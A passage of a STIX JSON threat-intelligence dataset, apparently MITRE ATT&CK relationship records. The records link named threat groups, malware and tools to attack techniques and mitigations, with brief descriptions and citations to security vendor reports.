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            "modified": "2021-04-16T21:44:38.912Z",
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            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
                    "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                    "source_name": "Operation Quantum Entanglement"
                }
            ],
            "description": "(Citation: Operation Quantum Entanglement)",
            "type": "relationship",
            "modified": "2019-03-22T20:10:33.034Z",
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        },
        {
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            "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-30T02:06:48.007Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d17517a1-f941-46a0-bcb6-d2a5b94cb24b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
            "type": "relationship",
            "modified": "2020-03-16T17:14:24.367Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--abf2b5db-184b-42af-bb52-e018977ca870",
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            "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses HTTP and HTTPS to communicate with the C2 server. [Kazuar](https://attack.mitre.org/software/S0265) can also act as a webserver and listen for inbound HTTP requests through an exposed API.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:39:44.976Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2174c465-8855-4c92-a683-97eb0eba9f7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:33:15.703Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--396287ea-36d9-4d84-bf22-af559eb20f58",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "type": "relationship",
            "modified": "2020-01-30T19:55:39.072Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Total SMB BruteForcer to perform internal password spraying.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "type": "relationship",
            "modified": "2020-03-24T15:03:43.701Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Recent versions of [Cherry Picker](https://attack.mitre.org/software/S0107) delete files and registry keys created by the malware.(Citation: Trustwave Cherry Picker)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trustwave Cherry Picker",
                    "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.",
                    "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
                }
            ],
            "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T17:55:26.695Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) has several commands to delete files associated with the malware from the victim.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.032Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--328825fa-a589-4c16-abef-7e3663f1f6ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [FinFisher](https://attack.mitre.org/software/S0182) variant uses DLL search order hijacking.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FinFisher Citation",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "url": "http://www.finfisher.com/FinFisher/index.html"
                },
                {
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "source_name": "Securelist BlackOasis Oct 2017"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2019-12-20T14:32:13.481Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-07-14T19:40:47.738Z",
            "created": "2017-05-31T21:33:27.030Z"
        },
        {
            "id": "relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) encrypts C2 traffic using an RC4 key.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:58:31.380Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--86461465-cb29-4fc9-8fa8-8956c0f94536",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.709Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--b368c7c2-a593-45cb-b557-aac668a02656",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs discovery of permission groups <code>net group /domain</code>.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "type": "relationship",
            "modified": "2020-03-18T21:56:52.875Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--d4784901-968c-4fb1-b0d3-0268d4c40582",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                },
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2020-01-17T19:33:17.983Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--197a0e84-5361-49cc-8e14-24c331665862",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has downloaded second stage malware from compromised websites.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.618Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.807Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--21717b6b-1fc6-4619-9877-bb36237a8efd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lurid](https://attack.mitre.org/software/S0010) performs XOR encryption.(Citation: Villeneuve 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Villeneuve 2011",
                    "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"
                }
            ],
            "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-31T12:39:16.694Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e1910051-019d-4594-ab9d-b588eb370ff2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "description": "(Citation: FireEye APT35 2018)",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) removed certain files and replaced them so they could not be retrieved.(Citation: TrendMicro Patchwork Dec 2017)",
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                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
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            "description": "The reconnaissance modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network configuration.(Citation: Symantec W32.Duqu)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
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                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
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            ],
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "modified": "2019-04-24T23:18:53.123Z",
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        },
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            "description": "[H1N1](https://attack.mitre.org/software/S0132) uses a custom packing algorithm.(Citation: Cisco H1N1 Part 1)",
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            ],
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                {
                    "source_name": "Cisco H1N1 Part 1",
                    "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
                }
            ],
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            "relationship_type": "uses",
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            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "description": "(Citation: FireEye APT32 May 2017)",
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            "modified": "2019-07-17T13:11:38.949Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[Helminth](https://attack.mitre.org/software/S0170) can download additional files.(Citation: Palo Alto OilRig May 2016)",
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            ],
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                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.518Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
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            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z"
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            "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of taking screenshots.(Citation: FireEye APT33 Sept 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                }
            ],
            "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-05-14T19:15:24.314Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--9a29dd75-31b1-4385-beb9-e093851849f6",
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            "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481",
            "relationship_type": "uses",
            "target_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
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                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "description": "(Citation: Proofpoint TA459 April 2017)",
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            "modified": "2019-03-25T17:00:47.386Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[Reaver](https://attack.mitre.org/software/S0172) queries the Registry to determine the correct Startup path to use for persistence.(Citation: Palo Alto Reaver Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.731Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--292248d9-30b0-4de3-9041-407db4e78f78",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new service on the remote system.(Citation: Symantec Buckeye)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-03-28T21:40:03.688Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)",
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            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:05:30.596Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5f6e76c5-732c-4bc8-9c17-ac1e58a5d88e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) functions as a proxy server between the victim and C2 server.(Citation: US-CERT BADCALL)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.544Z",
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        },
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails containing malicious Microsoft Office and RAR attachments.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)",
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                {
                    "source_name": "Unit 42 Sofacy Feb 2018",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"
                },
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
